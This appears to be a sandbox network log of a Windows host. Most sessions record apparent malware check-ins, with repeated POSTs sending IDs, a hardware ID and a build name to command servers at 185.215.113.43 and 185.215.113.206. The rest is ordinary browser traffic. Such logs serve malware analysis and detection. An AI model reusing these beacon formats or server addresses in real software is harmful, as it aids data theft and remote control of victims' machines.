Nov 30, 2024 09:46:16.766541958 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 35 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010576001&unit=246122658369
Nov 30, 2024 09:46:18.159063101 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	50019	185.156.72.65	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:19.243419886 CET	416	OUT	GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	50022	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:19.908031940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 09:46:21.295121908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	50031	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:22.935437918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 36 32 45 37 38 42 32 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB62E78B25082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 30, 2024 09:46:24.317097902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	50037	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:26.113411903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 09:46:27.572833061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	50048	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:29.198967934 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 36 32 45 37 38 42 32 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB62E78B25082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 30, 2024 09:46:30.596606970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	50051	185.156.72.65	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:30.414022923 CET	416	OUT	GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50057	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:32.340619087 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 09:46:33.855680943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50064	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:35.399652004 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 09:46:36.785706043 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:46:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:46:36.787481070 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"drum------JJEGCBGIDHCAKEBGIIDB--
Nov 30, 2024 09:46:37.240786076 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:46:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	50081	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:39.321916103 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:40.499409914 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 30 Nov 2024 01:06:52 GMT Age: 27588 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 30, 2024 09:46:40.574584961 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:40.907465935 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 30 Nov 2024 01:06:52 GMT Age: 27588 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 30, 2024 09:46:40.922661066 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50095	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:40.624069929 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	50103	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:41.040688992 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	142.250.181.68	443	2908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:08 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 08:44:09 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:09 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-tk4iYcKvl3ngxIhWRRELyw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-30 08:44:09 UTC	124	IN	Data Raw: 33 31 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 61 76 69 64 20 73 61 6e 64 65 72 73 20 6a 72 20 6f 68 69 6f 20 73 74 61 74 65 22 2c 22 7a 6f 64 69 61 63 20 73 69 67 6e 73 20 64 61 69 6c 79 20 68 6f 72 6f 73 63 6f 70 65 20 74 6f 64 61 79 22 2c 22 61 69 72 70 6f 72 74 20 73 74 6f 77 61 77 61 79 20 64 65 6c 74 61 20 66 6c 69 67 68 74 22 2c 22 62 6c 61 63 6b 20 6f 70 73 Data Ascii: 31e)]}'["",["david sanders jr ohio state","zodiac signs daily horoscope today","airport stowaway delta flight","black ops
2024-11-30 08:44:09 UTC	681	IN	Data Raw: 20 64 6f 75 62 6c 65 20 78 70 20 77 65 65 6b 65 6e 64 22 2c 22 6c 61 20 63 6c 69 70 70 65 72 73 20 76 73 20 74 69 6d 62 65 72 77 6f 6c 76 65 73 20 62 6f 78 20 73 63 6f 72 65 22 2c 22 69 73 20 61 72 63 61 6e 65 20 73 65 61 73 6f 6e 20 32 20 67 6f 6f 64 22 2c 22 72 69 70 70 6c 65 20 78 72 70 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 64 61 79 20 65 61 72 74 68 71 75 61 6b 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 Data Ascii: double xp weekend","la clippers vs timberwolves box score","is arcane season 2 good","ripple xrp","thanksgiving day earthquakes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2V
2024-11-30 08:44:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.181.68	443	2908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:08 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	142.250.181.68	443	2908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:08 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 08:44:09 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 30 Nov 2024 08:44:09 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-30 08:44:09 UTC	372	IN	Data Raw: 31 38 64 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 18d3)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-30 08:44:09 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-30 08:44:09 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-30 08:44:09 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-30 08:44:09 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
